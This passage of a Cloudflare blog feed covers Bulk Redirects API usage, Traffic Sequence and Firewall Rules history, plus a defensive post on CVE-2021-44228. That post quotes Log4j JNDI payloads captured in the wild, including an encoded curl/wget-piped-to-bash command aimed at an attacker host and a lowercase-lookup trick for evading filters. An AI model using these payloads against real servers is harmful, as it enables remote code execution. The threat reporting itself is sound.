and <code>c.b.example.com/a</code> will also be redirected.</p><p>The <b>Subpath matching</b> option focuses on the opposite end of the URL. If this option is enabled, the redirect applies to the URL as well as all its subpaths. For example, if we have a URL redirect on <code>www.example.com/foo</code> with subpath matching enabled, we will match on that specific URL as well as all subpaths, e.g., <code>www.example.com/foo/a</code>, <code>www.example.com/foo/a/</code>, ` <a href="http://www.example.com/foo/a/b/c\`">www.example.com/foo/a/b/c\`</a>, etc., but not <code>www.example.com/foobar</code>.</p><p>These options provide a tremendous amount of flexibility and granularity for each URL redirect. However, for most use cases only the source URL, target URL, and status code options will need to be set.</p><p>Secondly, we have added two options relating to retaining portions of the original HTTP request: <b>Preserve path suffix</b> and <b>Preserve query string</b>. If subpath matching is enabled, <b>Preserve path suffix</b> can be used to copy the URI path from the originally requested URL and add it to the destination URL. For example, if there is a URL redirect of <b>Source URL</b>: <code>example.co.uk</code>, <b>Target URL</b>: <code>www.example.com/a</code>, then requests to <code>example.co.uk/target</code> will be redirected to <code>www.example.com/a/target</code> with both options enabled. <b>Preserve query string</b> can be used independently of the other options, and carries forward the URI query from the originally requested URL to the new URL.</p><p>Lists by themselves do not provide any redirection, they are simply the ‘lookup table’. To enable them we need to reference them via a <b>Bulk Redirect Rule</b>.</p><p>The rules themselves are very simple. By default, the user experience is to provide a name for the rule, a description, and select the Bulk Redirect List that should be invoked.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4ba3Bql0mmmXQJZuq0t7r1/b8b62726e855550a48f3ab50b77d1401/image2-23.png" />
            
            </figure><p>For users who require more granularity and control there are additional settings available under the <b>Advanced options</b> toggle. Within this section there are two editable sections:  <b>Expression</b> and <b>Key</b>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2PmH9DnTDGhYp5RHFwHRkZ/fd9409755f3c6b8197eeab0f9870eacd/unnamed-9.png" />
            
            </figure><p>The first field, <b>Expression</b>, specifies the conditions that must be met in order for the rule to run. By default, all URL redirects of the specified list will apply.</p><p>The second field, <b>Key</b>, is closely related to the expression. The key is used in combination with the specified list to select the URL redirect to apply. The field used for the key should <i>always</i> be the same as the field used in the expression, i.e., the key should be <code>http.request.full_uri</code> if the field in the expression is <code>http.request.full_uri</code>, or conversely, the key should be <code>raw.http.request.full_uri</code> if the field in the expression is <code>raw.http.request.full_uri</code>.</p><p>There are two main use cases for modifying these settings. Firstly, users can edit these options to increase specificity in the trigger, e.g., <code>ip.src.country == "GB" and http.request.full_uri in $redirect_list</code>. This is useful for ensuring Bulk Redirect Lists are only applied when a visitor comes from specific countries, subnets, or ASNs — or also only applying a URL redirect list if the visitor is a verified bot, or the bot score is &gt;35.</p><p>Secondly, users can edit these options to amend the URL being matched and used as a lookup in the given list, i.e., the user may choose to have URL redirects in their list(s) specifically for URLs that would be <a href="https://developers.cloudflare.com/rules/normalization">normalized</a>, e.g., URLs containing specific percent-encoding.  To ensure these URL redirects still trigger, the settings in <b>Advanced options</b> should be used to edit the expression and key to use the <code>raw.http.request.full_uri</code> field instead.</p>
    <div>
      <h3>Automating via the API</h3>
      <a href="#automating-via-the-api">
        
      </a>
    </div>
    <p>Another way to manage bulk redirects is via our API. Customers wishing to automate the addition of bulk redirects can use the API to either simply add URL redirects to an existing list, or automate the entire workflow — creating a list, adding URL redirects to the list, and enabling the list via a new redirect rule.</p><p>There are three main calls when creating bulk redirects via the API:</p><ol><li><p>Create the redirect list</p></li><li><p>Load with URL redirects</p></li><li><p>Enable via a rule (You will also need to create the ruleset if doing this for the first time).</p></li></ol><p>For step 1, first create a mass redirect list via the API call:</p>
            <pre><code>curl --location --request POST 'https://api.cloudflare.com/client/v4/accounts/&lt;ACCOUNT_ID&gt;/rules/lists' \
--header 'X-Auth-Email: &lt;EMAIL_ADDRESS&gt;' \
--header 'Content-Type: application/json' \
--header 'X-Auth-Key: &lt;API_KEY&gt;' \
--data-raw '{
 "name": "my_redirect_list_2",
 "description": "My redirect list 2",
 "kind": "redirect"
}'</code></pre>
            <p>The output will look similar to:</p>
            <pre><code>{
  "result": {
    "id": "499b94da726d4dbc9ce6bf6c96ef8b6a",
    "name": "my_redirect_list_2",
    "description": "My redirect list 2",
    "kind": "redirect",
    "num_items": 0,
    "num_referencing_filters": 0,
    "created_on": "2021-12-04T06:43:43Z",
    "modified_on": "2021-12-04T06:43:43Z"
  },
  "success": true,
  "errors": [],
  "messages": []
}</code></pre>
            <p>Capture the value of “id”, as this is the list ID we will then add URL redirects to.</p><p>Next, in step 2 we will add URL redirects to our newly created list by executing a POST call to the ID we captured previously - with our URL redirects in the body:</p>
            <pre><code>curl --location --request POST 'https://api.cloudflare.com/client/v4/accounts/&lt;ACCOUNT_ID&gt;/rules/lists/&lt;LIST_ID&gt;/items' \
--header 'X-Auth-Email: &lt;EMAIL_ADDRESS&gt;' \
--header 'Content-Type: application/json' \
--header 'X-Auth-Key: &lt;API_KEY&gt;' \
--data-raw '[
 {
   "redirect": {
     "source_url": "www.example.com/a",
     "target_url": "https://www.example.net/a"
   }
 },
 {
   "redirect": {
     "source_url": "www.example.com/b",
     "target_url": "https://www.example.net/a/b",
     "status_code": 307,
     "include_subdomains": true
   }
 },
 {
   "redirect": {
     "source_url": "www.example.com/c",
     "target_url": "www.example.net/c",
     "status_code": 307,
     "include_subdomains": true
   }   
 }
]'</code></pre>
            <p>The output will look similar to:</p>
            <pre><code>{
  "result": {
    "operation_id": "491ab6411acf4a12a6c72df1385b095a"
  },
  "success": true,
  "errors": [],
  "messages": []
}</code></pre>
            <p>In step 3 we enable this list by creating a new mass redirect rule within the mass redirect account-level ruleset.</p><p><b>Note</b>, if this is the first time you are creating a redirect rule you will need to use a different API call to create the ruleset. See the documentation <a href="https://developers.cloudflare.com/rules/bulk-redirects/create-api">here</a> for more details. All subsequent updates to the rulesets are made by calls similar to below.</p><p>Firstly, we need to find our account-level rulesets ID. To do this we need to get a list of all account-level rulesets and look for the ruleset with the phase <code>http_request_redirect</code>:</p>
            <pre><code>curl --location --request GET 'https://api.cloudflare.com/client/v4/accounts/&lt;ACCOUNT_ID&gt;/rulesets \
--header 'X-Auth-Email: &lt;EMAIL_ADDRESS&gt;' \
--header 'Content-Type: application/json' \
--header 'X-Auth-Key: &lt;API_KEY&gt;'</code></pre>
            <p>The output will look similar to:</p>
            <pre><code>{
   "result": [
       {
           "id": "efb7b8c949ac4650a09736fc376e9aee",
           "name": "Cloudflare Managed Ruleset",
           "description": "Created by the Cloudflare security team, this ruleset is designed to provide fast and effective protection for all your applications. It is frequently updated to cover new vulnerabilities and reduce false positives.",
           "source": "firewall_managed",
           "kind": "managed",
           "version": "34",
           "last_updated": "2021-10-25T18:33:27.512161Z",
           "phase": "http_request_firewall_managed"
       },
       {
           "id": "4814384a9e5d4991b9815dcfc25d2f1f",
           "name": "Cloudflare OWASP Core Ruleset",
           "description": "Cloudflare's implementation of the Open Web Application Security Project (OWASP) ModSecurity Core Rule Set. We routinely monitor for updates from OWASP based on the latest version available from the official code repository",
           "source": "firewall_managed",
           "kind": "managed",
           "version": "33",
           "last_updated": "2021-10-25T18:33:29.023088Z",
           "phase": "http_request_firewall_managed"
       },
       {
           "id": "5ff4477e596448749d67da859230ac3d",
           "name": "My redirect ruleset",
           "description": "",
           "kind": "root",
           "version": "1",
           "last_updated": "2021-12-04T06:32:58.058744Z",
           "phase": "http_request_redirect"
       }
   ],
   "success": true,
   "errors": [],
   "messages": []
}</code></pre>
            <p>Our redirect ruleset is at the bottom of the output. Next we will add our new bulk redirect rule to this ruleset:</p>
            <pre><code>curl --location --request PUT 'https://api.cloudflare.com/client/v4/accounts/&lt;ACCOUNT_ID&gt;/rulesets/&lt;RULESET_ID&gt; \
--header 'X-Auth-Email: &lt;EMAIL_ADDRESS&gt;' \
--header 'Content-Type: application/json' \
--header 'X-Auth-Key: &lt;API_KEY&gt; \
--data-raw '{
     "rules": [
   {
     "expression": "http.request.full_uri in $my_redirect_list",
     "description": "Bulk Redirect rule 2",
     "action": "redirect",
     "action_parameters": {
       "from_list": {
         "name": "my_redirect_list_2",
         "key": "http.request.full_uri"
       }
     }
   }
 ]
}'</code></pre>
            <p>The output will look similar to:</p>
            <pre><code>{
  "result": {
    "id": "5ff4477e596448749d67da859230ac3d",
    "name": "My redirect ruleset",
    "description": "",
    "kind": "root",
    "version": "2",
    "rules": [
      {
        "id": "615cf6ac24c04f439138fdc16bd20535",
        "version": "1",
        "action": "redirect",
        "action_parameters": {
          "from_list": {
            "name": "my_redirect_list_2",
            "key": "http.request.full_uri"
          }
        },
        "expression": "http.request.full_uri in $my_redirect_list",
        "description": "Bulk Redirect rule 2",
        "last_updated": "2021-12-04T07:04:16.701379Z",
        "ref": "615cf6ac24c04f439138fdc16bd20535",
        "enabled": true
      }
    ],
    "last_updated": "2021-12-04T07:04:16.701379Z",
    "phase": "http_request_redirect"
  },
  "success": true,
  "errors": [],
  "messages": []
}</code></pre>
            <p>With those API calls executed, our new list is created, loaded with URL redirects and enabled by the bulk redirect rule. Visitors to the URLs specified in our list will now be redirected appropriately.</p>
    <div>
      <h3>Account-level benefits</h3>
      <a href="#account-level-benefits">
        
      </a>
    </div>
    <p>One of the driving forces behind this product is the desire to make life easier for those customers with a large number of zones on Cloudflare. For these customers, URL redirects are a pain point when using Page Rules, as they need to navigate into each zone and configure URL redirects one at a time. This doesn't scale very well.</p><p>Bulk Redirects add real value for customers in this situation. Instead of having to navigate into 400 zones and create one or two Page Rules for each, an administrator can now create and upload a single Bulk Redirect List, which contains all the URL redirects for the zones under management.</p><p>This means that if the customer simply wants 399 of those 400 zones to redirect to the "primary zone", they can create a bulk redirect list with 399 entries, all pointing to <code>example.com</code>, and enable the <b>Subpath matching</b> and <b>Include subdomains</b> options on each. This vastly simplifies the management of the estate.</p><p>The same premise also applies to <a href="https://www.cloudflare.com/ssl-for-saas-providers/">SSL for SaaS</a> customers. For example, if <code>example.com</code> has 20 custom hostnames in their zone, customers can now create a Bulk Redirect List and Rule for each custom hostname, grouping each customer’s URL redirects into their own logical buckets.</p><p>Bulk Redirects is a game changer for companies with a large number of zones and customers under management.</p>
    <div>
      <h3>Allowances</h3>
      <a href="#allowances">
        
      </a>
    </div>
    <p>Bulk Redirects are available for all accounts. The packaging model for Bulk Redirects closely resembles that of “<a href="https://developers.cloudflare.com/firewall/cf-firewall-rules/rules-lists#entitlements">IP Lists</a>”. Accounts are entitled to a set number of Edge Rules (from which “Bulk Redirect Rules” draws down), Bulk Redirect Lists, and URL Redirects depending on the <i>highest</i> Cloudflare plan within their account.</p><table><tr><td><p><b>Feature</b></p></td><td><p><b>Enterprise</b></p></td><td><p><b>Business</b></p></td><td><p><b>Pro</b></p></td><td><p><b>Free</b></p></td></tr><tr><td><p>Edge Rules (for use of Bulk Redirect Rules)</p></td><td><p>50+</p></td><td><p>15</p></td><td><p>15</p></td><td><p>15</p></td></tr><tr><td><p>Bulk Redirect Lists</p></td><td><p>25+</p></td><td><p>5</p></td><td><p>5</p></td><td><p>5</p></td></tr><tr><td><p>URL Redirects</p></td><td><p>10,000+</p></td><td><p>500</p></td><td><p>500</p></td><td><p>20</p></td></tr></table><p>For example, an account with ten zones, all on the <a href="https://www.cloudflare.com/plans/free/">Free plan</a>, would be entitled to 15 Edge Rules, 5 Bulk Redirect Lists, and 20 URL Redirects that can be stored within those lists.</p><p>An account with one Pro zone and 2 Free plan zones would be entitled to 15 Edge Rules, 5 Bulk Redirect Lists, and 500 URL Redirects that can be stored within those lists.</p><p>Enterprise customers have a default of 10,000 URL Redirects to be used across 25 lists. However, these numbers are negotiable on enquiry.</p>
    <div>
      <h3>Planned enhancements</h3>
      <a href="#planned-enhancements">
        
      </a>
    </div>
    <p>We intend to make a number of incremental improvements to the product in the coming months, specifically to the list experience to allow for the editing of URL redirects and also for searching within lists.</p><p>In the near future we intend to bring to market a product to fulfill the other common request for URL redirects, and deliver ‘Dynamic URL Redirects’. Whilst Bulk Redirects supports hundreds of thousands of URL redirects, those URL redirects are relatively prescriptive — from <code>a.com/b</code> to <code>b.com/a</code>, for example.  There is still a requirement for supporting more complex, rich URL redirects, e.g., device-specific URL redirects, country-specific URL redirects, URL redirects that allow regular expressions in their target URL, and so forth. We aspire to offer a full range of functionality to support as many use cases as possible.</p>
    <div>
      <h3>Try it now</h3>
      <a href="#try-it-now">
        
      </a>
    </div>
    <p>Bulk Redirects can be used to improve operations, simplify complex configurations, and ease website management, amongst many other use cases.  Try out <a href="https://dash.cloudflare.com/">Bulk Redirects</a> yourself today.</p> ]]></content:encoded>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[API]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <guid isPermaLink="false">2DrdRUVIhDWw8W6EKVlQHL</guid>
            <dc:creator>Sam Marsh</dc:creator>
        </item>
        <item>
            <title><![CDATA[Actual CVE-2021-44228 payloads captured in the wild]]></title>
            <link>https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/</link>
            <pubDate>Fri, 10 Dec 2021 21:06:56 GMT</pubDate>
            <description><![CDATA[ I wrote earlier about how to mitigate CVE-2021-44228 in Log4j, how the vulnerability came about and Cloudflare’s mitigations for our customers. As I write we are rolling out protection for our FREE customers as well because of the vulnerability’s severity. ]]></description>
            <content:encoded><![CDATA[ <p>I <a href="/inside-the-log4j2-vulnerability-cve-2021-44228/">wrote earlier</a> about how to mitigate CVE-2021-44228 in Log4j, how the vulnerability came about and Cloudflare’s mitigations for our customers. As I write we are rolling out protection for our FREE customers as well because of the vulnerability’s severity.</p><p>As we now have many hours of data on scanning and attempted exploitation of the vulnerability we can start to look at actual payloads being used in wild and statistics. Let’s begin with requests that Cloudflare is blocking through our WAF.</p><p>We saw a slow ramp up in blocked attacks this morning (times here are UTC) with the largest peak at around 1800 (roughly 20,000 blocked exploit requests per minute). But scanning has been continuous throughout the day. We expect this to continue.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6WaSbv7NyGFCAlOxQGmzUz/60754716c6c818c80efe93d49475e4e8/image3-25.png" />
            
            </figure><p>We also took a look at the number of IP addresses that the WAF was blocking. Somewhere between 200 and 400 IPs appear to be actively scanning at any given time.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1ziaRnmPGyiAphwLJjE100/bf8ad2c8898b954bae31562fc29bc787/image1-58.png" />
            
            </figure><p>So far today the largest number of scans or exploitation attempts have come from Canada and then the United States.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4KPmQBRjWu9Ed2Fjb9OxKM/d861cdae89b9238e34a9806cb053b4f6/image2-42.png" />
            
            </figure><p>Lots of the blocked requests appear to be in the form of reconnaissance to see if a server is actually exploitable. The top blocked exploit string is this (throughout I have sanitized domain names and IP addresses):</p><p><code>${jndi:ldap://x.x.x.x/#Touch}</code></p><p>Which looks like a simple way to hit the server at x.x.x.x, which the actor no doubt controls, and log that an Internet property is exploitable. That doesn’t tell the actor much. The second most popular request contained this:</p><p><code>Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua</code></p><p>This appeared in the User-Agent field of the request. Notice how at the end of the URI it says <code>/ua</code>. No doubt a clue to the actor that the exploit worked in the User-Agent.</p><p>Another interesting payload shows that the actor was detailing the format that worked (in this case a non-encrypted request to port 443 and they were trying to use http://):</p><p><code>${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}</code></p><p>Someone tried to pretend to be the Googlebot and included some extra information.</p><p><code>Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}</code></p><p>In the following case the actor was hitting a public Cloudflare IP and encoded that IP address in the exploit payload. That way they could scan many IPs and find out which were vulnerable.</p><p><code>${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}</code></p><p>A variant on that scheme was to include the name of the attacked website in the exploit payload.</p><p><code>${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}</code></p><p>Some actors didn’t use LDAP but went with DNS. However, LDAP is by far the most common protocol being used.</p><p><code>${jndi:dns://aeutbj.example.com/ext}</code></p><p>A very interesting scan involved using Java and standard Linux command-line tools. The payload looks like this:</p><p><code>${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}</code></p><p>The base64 encoded portion decodes to a curl and wget piped into bash.</p><p><code>(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash</code></p><p>Note that the output from the curl/wget is not required and so this is just hitting a server to indicate to the actor that the exploit worked.</p><p>Lastly, we are seeing active attempts to evade simplistic blocking of strings like <code>${jndi:ldap</code> by using other features of Log4j. For example, a common evasion technique appears to be to use the <code>${lower}</code> feature (which lowercases characters) as follows:</p><p><code>${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x</code></p><p>At this time there appears to be a lot of reconnaissance going on. Actors, good and bad, are scanning for vulnerable servers across the world. Eventually, some of that reconnaissance will turn into actual penetration of servers and companies. And, because logging is so deeply embedded in front end and back end systems, some of that won't become obvious for hours or days.</p><p>Like spores quietly growing underground some will break through the soil and into the light.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1Na8EVERhjVbhTM3MvEH3N/b6299f8c407be5b77b85cfb233301448/Spores.png" />
            
            </figure><p>Cloudflare’s security teams are working continuously as the exploit attempts evolve and will update WAF and firewall rules as needed.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <guid isPermaLink="false">6HhHsHXCwUGyTNf4OrYpDx</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Traffic Sequence: Which Product Runs First?]]></title>
            <link>https://blog.cloudflare.com/traffic-sequence-which-product-runs-first/</link>
            <pubDate>Wed, 20 Oct 2021 19:00:00 GMT</pubDate>
            <description><![CDATA[ Understand how Cloudflare product’s interact via the new dashboard addition ‘Traffic Sequence’. ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4d3wgpLF5R3TcjPuQEejal/98c51638fd20f747cbc694e52ca313c0/Traffic-Sequence.png" />
            
            </figure><p>“Which came first, the chicken or the egg?” It’s one of life's great questions. There are hundreds of <a href="https://www.newscientist.com/question/came-first-chicken-egg">articles</a> published which conclude with eggs predating chickens by millions of years. Unfortunately, Cloudflare users don't have New Scientist on hand to answer similar questions.</p><p>Which runs first, Firewall Rules or Workers? Page Rules or Transform Rules? Whilst not as philosophically challenging, the answers to these questions are key to setting up your Cloudflare zone correctly. Answering them has become increasingly difficult as more and more functionality is added, thanks to our incredible rate of shipping products. What was once a relatively easy to understand traffic flow exploded in complexity with the introduction of products such as Workers, Load Balancing Rules and Transform Rules. And this big bang of product announcements is only accelerating each year.</p><p>To begin addressing this problem, we developed Traffic Sequence_._ Traffic Sequence is a simple dashboard illustration which shows a default, high-level overview of how Cloudflare products interact. Think of this as your atlas, rather than the “<a href="https://tfl.gov.uk/info-for/taxis-and-private-hire/licensing/learn-the-knowledge-of-london">Knowledge</a>” all drivers of London's black cabs have to learn. This helps you understand that London is in the south east of the UK, but not that it's quicker to walk than use the London Underground between Leicester Square and Covent Garden.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2FPCpXDm1Mq8mUfuZpA3Jb/7a975343d1fd48a78a6f56147972db3c/workflow.png" />
            
            </figure><p>Traffic Sequence is now enabled for all zones by default, appearing on ten product pages within the dashboard. Traffic Sequence highlights in blue the product area you are currently configuring, showing where within the HTTP request lifecycle the specific product sits. This provides context and allows users to understand which products will see the impact of changes here, and which products will not.</p><p>Traffic Sequence is designed to make Cloudflare’s edge clearer to our customers, allowing users to understand how products fit together and understand how HTTP requests flow between each.</p>
    <div>
      <h3>Dear Cloudflare, which runs first?</h3>
      <a href="#dear-cloudflare-which-runs-first">
        
      </a>
    </div>
    <p>Understanding how traffic is routed through Cloudflare has been one of the most common questions from both Cloudflare staff and customers alike.</p><blockquote><p>Is there any blog/documentation which could tell us how a request flows across different Cloudflare Products?<br /><br />e.g, I know page rules are performed first and then it goes to workers.<br /><br />But a complete flow is appreciated.</p>— Ashutosh Kumar (@ashutoshpw) <a href="https://twitter.com/ashutoshpw/status/1402866956571615234?ref_src=twsrc%5Etfw">June 10, 2021</a></blockquote> <p>But why does it matter? Let's go through a simple example.</p><p>Released in April 2021, “<a href="/introducing-transform-rules-with-url-rewriting-at-the-edge/">Transform Rules</a>” lets users rewrite URLs of HTTP requests as they proxy through their zone — for example, rewriting <code>/login.php</code> to <code>/super/secret/login-page.php</code>, all invisible to the end user.</p><p>In this scenario, the administrator also has a Firewall Rule blocking requests to the URI Path <code>/login.php</code> when the visitor is coming from a country other than the United States. What they would see, however, is that visitors from these other countries are still reaching the <code>/login.php</code> page on their servers. Why is this?</p><p>This is because URL rewrites happen <code>before</code> Firewall Rules, meaning the Firewall Rules product won’t see a URI Path of <code>/login.php</code>. Instead it will see HTTP requests with the rewritten URI path of <code>/super/secret/login-page.php</code>. Thus, when Firewall Rules evaluates the customers rule it checks:</p><ol><li><p>Is this from a country that is not the USA? Yes</p></li><li><p>AND - Is this request going to a URI Path of /login.php? No.</p></li></ol><p>As both criteria are not evaluated as ‘true’,  the rule does not match and the traffic is allowed on its journey.</p><p>This is why it is so important to know how Cloudflare's products interoperate to get the most out of your plan, and achieve your goals without having to dig through mountains of documentation.</p><p>In an alternate timeline, Traffic Sequence is used to highlight that Firewall Rules run after URL rewriting occurs, and therefore see’s the rewritten value in the URI Path. With this information the customer can then configure a Firewall Rule to look for the rewritten value in URI Path and accomplish their desired setup.</p>
    <div>
      <h3>From napkin to working prototype</h3>
      <a href="#from-napkin-to-working-prototype">
        
      </a>
    </div>
    <p>Traffic Sequence was originally borne out of a “back of the napkin” idea during the creation of Transform Rules and URL Normalization, in an attempt to show where these transformations were happening:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/XjSbnpu7X6I0NgH6smSTG/c107c541faa832014a177e384596e49a/Flow.png" />
            
            </figure><p>The idea might have started from a need of our own, but it ended up addressing well known customer and internal problems: whenever we build a new product everyone wants to understand how it fits into the big picture. So we pushed the idea further, proposing it to other teams and soliciting feedback.</p><p>This project was a great example of how bringing the right level of fidelity of thinking to the table can be evolved into an opportunity to ship to learn. Something that was initially meant as an explainer diagram for one rule type has become an almost bespoke experience of the dashboard, as it is unique to each customer's Cloudflare environment, displaying only the products available for use in that zone. We offer many options and routes to products, but we didn’t have a straightforward flow of information that customers can rely on, focusing only on what they have set up and have access to.</p><p>As part of the design process, we try to focus on asking lots of questions rather than just finding an answer. Some of the considerations we had were:</p><ul><li><p>What if we show customers a product they aren’t using?</p></li><li><p>What if we show customers a product they aren’t entitled to on their plan level?</p></li><li><p>Why aren’t we showing “this product”?</p></li><li><p>Do we have this visualisation on by default?</p></li></ul><p>After gaining internal momentum to flesh out this project, we decided to focus on three areas:</p><ol><li><p>Simplifying a complex ecosystem – what is a useful simplification?</p></li><li><p>Value that this will add beyond this first application</p></li><li><p>Opportunity to test out different navigation and mental models.</p></li></ol><p>After all, this is not just a map of our system, but a new way of navigating it entirely.</p><p>Positive early internal feedback not only aligned with our goals, but allowed us to iterate on points that needed improvement. We knew that this could be a game-changer for promoting clarity, improving discoverability and saving time with navigation: going for one click instead of three for most items.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/U6FpxdOY2xCZzXM1Ple71/21c0bf4ee67fab8da99830df106c4eda/Table.png" />
            
            </figure><p>A couple of iterations later, we were ready to put this in the hands of our users for early testing:</p><blockquote><p>Ever wondered how traffic is handled by our various products when configuring your <a href="https://twitter.com/Cloudflare?ref_src=twsrc%5Etfw">@Cloudflare</a> zone? You arent alone. We hear you. If you are interested in trying our latest experiment, get in touch. We’d LOVE your feedback. <a href="https://twitter.com/hashtag/Cloudflare?src=hash&amp;ref_src=twsrc%5Etfw">#Cloudflare</a> <a href="https://t.co/mh906T0JxV">pic.twitter.com/mh906T0JxV</a></p><p>— Sam Marsh (@marshnet_social) <a href="https://twitter.com/marshnet_social/status/1415970316178841600?ref_src=twsrc%5Etfw">July 16, 2021</a></p></blockquote><p>Thanks to our incredible community we had a high level of interest in the first week, providing insight into how this feature would be used in the real world, and answering the ultimate question of this experiment: “Does this solve the problem of understanding how Cloudflare handles HTTP requests?”  via our Traffic Sequence survey form:</p><ul><li><p>“I didn't know where my requests were going... until now.”</p></li><li><p>“It's always been confusing which products/features affect which other products/features.”</p></li><li><p>“It's really handy to be able to explain the ordering that these are happening in, and I like the deeplink into the relevant area.”</p></li></ul><p>These were all a great reminder that what triggered this work was ingrained in real customer needs.</p><p>Other feedback was rapidly incorporated into the prototype; specifically splitting Transform Rules into two separate sections to highlight that URL rewrites and header modifications occur at different parts of the request flow. We also added features which our users deemed important for clarity, such as IP Access Rules.</p>
    <div>
      <h3>Traffic Sequence for all</h3>
      <a href="#traffic-sequence-for-all">
        
      </a>
    </div>
    <p>Thanks to the great feedback and participation of all testers, both internal and external, we are now in a position where we are comfortable to take the covers off and make Traffic Sequence available to all users.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/24Ub2cZa1zHdbcx8yE5qAM/4d90523ec255b64b1ba3ae5e7f2558e3/dash1.png" />
            
            </figure><p>The visualisation can be hidden easily by clicking on the “hide” button, and the display automatically hides to preserve critical whitespace when needed:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/dntPvSgDeJPBbQSmhBgG8/f772ace4ee478e357adb3bd811a9d794/dash2.png" />
            
            </figure><p>When new products are added, or updates to products occur which modify the traffic order, this diagram will be updated accordingly.</p>
    <div>
      <h3>Evolving Traffic Sequence</h3>
      <a href="#evolving-traffic-sequence">
        
      </a>
    </div>
    <p>We know this is a high level, generic overview of how Cloudflare products interact. There is a level of nuance underneath, and a number of products and features not shown in the Traffic Sequence illustration which play an important part in keeping users safe and secure.</p><p>In the future we have aspirations to build “<i>the other side of the coin”</i>. Traffic Sequence provides a simple to understand view of how the products work by default at a high level. We also want to create a detailed, almost traceroute-like feature which allows users to see <i>exactly</i> what happens to their traffic — which products it goes via and what happens within those products, and potentially a lot more. Stay tuned!</p>
    <div>
      <h3>Try it now</h3>
      <a href="#try-it-now">
        
      </a>
    </div>
    <p>This feature is now enabled by default on all customer zones, and is visible within the dashboard locations outlined above.</p><p>Please do try it out and let us know what you think via the <a href="https://community.cloudflare.com/">Cloudflare Community</a></p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <guid isPermaLink="false">2Ycvib09odNeIRLQEkHK1m</guid>
            <dc:creator>Sam Marsh</dc:creator>
        </item>
        <item>
            <title><![CDATA[How we made Firewall Rules]]></title>
            <link>https://blog.cloudflare.com/how-we-made-firewall-rules/</link>
            <pubDate>Mon, 04 Mar 2019 13:00:00 GMT</pubDate>
            <description><![CDATA[ Recently we launched Firewall Rules, a new feature that allows you to construct expressions that perform complex matching against HTTP requests and then choose how that traffic is handled. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Recently we launched <a href="/announcing-firewall-rules/">Firewall Rules</a>, a new feature that allows you to construct expressions that perform complex matching against HTTP requests and then choose how that traffic is handled. As a Firewall feature you can, of course, block traffic. The expressions we support within Firewall Rules along with powerful control over the order in which they are applied allows complex new behaviour.</p><p>In this blog post I tell the story of Cloudflare’s <a href="https://www.cloudflare.com/features-page-rules/">Page Rules</a> mechanism and how Firewall Rules came to be. Along the way I’ll look at the technical choices that led to us building the new matching engine in Rust.</p>
    <div>
      <h3>The evolution of the Cloudflare Firewall</h3>
      <a href="#the-evolution-of-the-cloudflare-firewall">
        
      </a>
    </div>
    <p>Cloudflare offers two types of firewall for web applications, a managed firewall in the form of a <a href="https://en.wikipedia.org/wiki/Web_application_firewall">WAF</a> where we write and maintain the rules for you, and a configurable firewall where you write and maintain rules. In this article, we will focus on the configurable firewall.</p><p>One of the earliest Cloudflare firewall features was the IP Access Rule. It dates backs to the earliest versions of the Cloudflare Firewall and simply allows you to block traffic from specific IP addresses:</p>
            <pre><code>if request IP equals 203.0.113.1 then block the request</code></pre>
            <p>As attackers and spammers frequently launched attacks from a given network we also introduced the <a href="https://en.wikipedia.org/wiki/Autonomous_system_(Internet)">ASN</a> matching capability:</p>
            <pre><code>if request IP belongs to ASN 64496 then block the request</code></pre>
            <p>We also allowed blocking ranges of addresses defined by <a href="https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing">CIDR</a> notation when an IP was too specific and an ASN too broad:</p>
            <pre><code>if request IP is within 203.0.113.0/24 then block the request</code></pre>
